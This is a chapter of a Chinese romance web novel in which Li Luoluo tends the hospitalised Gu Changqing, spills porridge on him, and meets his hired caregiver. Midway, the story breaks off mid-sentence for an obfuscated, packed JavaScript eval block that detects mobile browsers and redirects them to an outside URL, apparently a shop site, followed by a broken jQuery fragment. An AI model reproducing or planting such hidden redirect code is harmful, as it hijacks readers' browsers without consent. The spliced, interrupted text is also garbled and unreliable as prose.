他拉着她跑进了大雨里。
李落落没有挣扎,也没有拒绝,就那样任由他拉着,一步步踩进雨水里,心跳得飞快。
她记得那天,校园里的树摇得很厉害,地上溅起来的水花很高很高,足以没过她的膝盖,她的鞋湿了一半,但穿在脚上却是暖和的。
顾长清手中的伞没有偏到她头上,风太大,伞偏到了后面,他们两个几乎是一起淋着雨跑出去的。
他稳稳拉着她,跑得很快却很轻巧,他们跑过篮球场,跑出校门,上了停在路边的黑色轿车。
她至今还记得,车里很暖和,弥漫着淡淡的清香,与外面的风雨交加仿佛是两个世界。
……
“我可以照顾你。”
李落落听到自己的声音在耳边响起,清晰坚定,对上顾长清俊美惊讶的目光,也没有丝毫犹豫。
“我这几天都请假了,就在这里照顾你,虽然不是家属,但我们是老同学,你现在这个样子,一个人根本不行。”
医生看了看两人,脸上露出一丝了然的笑容,点点头:“那就好,护理的注意事项,我再让护士详细跟你说说,一定要仔细照着做。”
“好。”
……
医生带着实习生离开后,病房里再次陷入了沉默。
顾长清抬起头,眼神复杂地看着她:“你不必如此,也没有义务……”
“我有”,李落落打断他,“高中的时候,你帮过我很多次,我那时人微力薄,没有回报的能力,现在不一样了,我身强力壮,此时不报更待何时?”
她嘴角弯了弯,靠着窗边,歪着头笑着看向病床上的顾长清,眉眼舒展,温柔明媚。
顾长清微微一愣,浓密的眉峰几不可察地挑了一下。
“还有昨天,你还帮我应付前男友呢”,李落落语气里带了点自嘲的意味,“虽然前两次,我都给你留下了……奇奇怪怪的印象,但这一次,你可没机会继续嘲笑我喽。”
顾长清薄唇溢出一声淡淡的嗤笑,却牵扯到腹部的伤口,疼得他轻轻皱了下眉头。
“不好意思”,李落落下意识走到床边,“我不惹你笑了。”
她眼睛亮得像淬了光,顾长清看了一眼便移开目光,没有再说什么。
过了一阵,他让李落落帮忙找手机,说有点事要处理,李落落笃信不疑,贴心地把手机塞到他手里。
顾长清在“处理业务”,李落落却陷入了沉思。
帅气的表现过后,她就得面对残酷的现实。
该怎么跟铁石心肠王鸿舟说,她要使用积攒了一周的年假呢?
这个问题还没想好,护士就进来提示说,可以给病人喂点流食了。
李落落打听着去了楼下食堂,小米粥已经卖完了,她提了一碗黑米粥上去。
“你先将就一下,今天我喂你,明天我会把床摇起来,你自己吃。”
终于可以近距离拿捏男神了,李落落嘴上说的一本正经,心里在窃喜。
顾长清却完全没把自己当病人:“现在就可以摇起来,我自己吃。”
李落落:“……”
“你刚做完手术,现在摇起来伤口会很疼……”
顾长清看了她一眼,四目相对,李落落完全没意识到自己眼中的担忧,她眨了眨眼睛道:“真的会很疼。”
顾长清垂眸:“没事,你去摇吧。”
李落落犹豫一阵,叹了口气。
算了。
男神他想当硬汉。
怪不得会沦落到伤口起脓的地步,跟这可恶的硬汉脾气肯定有很大的关系。
她听说术后伤口打了止疼的麻药,但48小时内还是会很疼。
她轻摇着床尾的把手,随着她的动作,顾长清被床头带着慢慢坐了起来。
李落落紧皱眉头,顾长清却从头到尾一声也没吭。
李落落心里更难过了。
从小到大,她总跟家里人报喜不报忧,偶尔发烧感冒,都是自己一个人硬扛过来的。
顾长清现在这个样子,就跟她打肿脸充胖子的时候一模一样。
窗外的雨不知何时已经停了,李落落给他安装好床上餐板,把一次性餐盒放在中间。
考虑到顾长清不能用劲,她主动去帮他掀饭盒盖子。
动机是好的,结果却不怎么令人满意。
顾长清静静坐着,看着她吃力地掀开透明盖子的一个角,而后,听到“啪”的一声,另一角也成功掀开了,黑米汤完美地溅了出来,洒在了顾长清的脸上,病号服上,被子上……
空气凝固了一秒。
恰在此时,有人敲了敲门,然后自己推开门走了进来。
李落落和黑脸顾长清同时看向门口,来了一个三十多岁的男人,穿着蓝色的工装。
李落落觉得,这个男人是谁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310651|198821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不重要。
重要的是,她刚刚泼了顾长清一脸。
“对……对不起啊……”
她赶紧拿起纸巾给顾长清擦脸。
顾长清可能还没反应过来,没有躲,纸巾碰触到他的脸时,两个人同时一愣。
好像……僭越了?
李落落瞬间收回手,尴尬地去擦桌板,门口的男人却快步走到床边,毫不客气地拿起李落落的小包纸巾,非常自然地帮顾长清清理了脸上的黑点点。
“你是?”
李落落终于转向这个不速之客。
“我请的护工”,顾长清说。
“你好女士,我是爱家家政的小秦。”
男人冲她微笑点头。
李落落茫然看向顾长清,顾长清却没看她,依旧面无表情,好像谁欠了他似的。
“你得回去上班,用不着为了这么点事请假。”
“哦”,李落落垂下眼眸,眼底泛上些许委屈,“不好意思。”
没想到这个男人还是这么犟,始终不肯让她照顾。
怕欠了她的还不起?
还是根本就不想跟她有瓜葛?
护工是个有眼力见的,此时专注于擦被子上和顾长清衣服上的污渍,完全把自己当成了空气。
顾长清没说话,李落落慢慢接受了“顾长清不需要她照顾”这个事实。
罢了,这种情况下,她再坚持就是不值钱地倒贴了。
李落落又拿起纸巾默默擦桌板。
过了一会儿,顾长清忽然说:“今天谢谢你”,
“没事儿”,李落落摇摇头。
“让你回去,是怕耽误你上班,并不是因为你洒了黑米粥。”
就这么简简单单一句话,李落落心里又恢复了生机。
她手上动作未停,假装不在意地说:“我知道,我刚洒他就来了。”
“嗯”,顾长清哼了一下,声音十分好听。
擦净桌板,护工去洗了手,回来开始给顾长清喂饭。
这一次,顾长清并没有拒绝投喂。
李落落暗暗撅了撅嘴,果然还是分人。
她转身拿起包,回过头的时候又冲顾长清笑了下:“你好好休息,这次可不要再让伤口发炎了,我可不想有个随时都会倒地不起的邻居。”
顾长清勾了勾嘴角,很乖地应了她:“好。”
他居然笑了。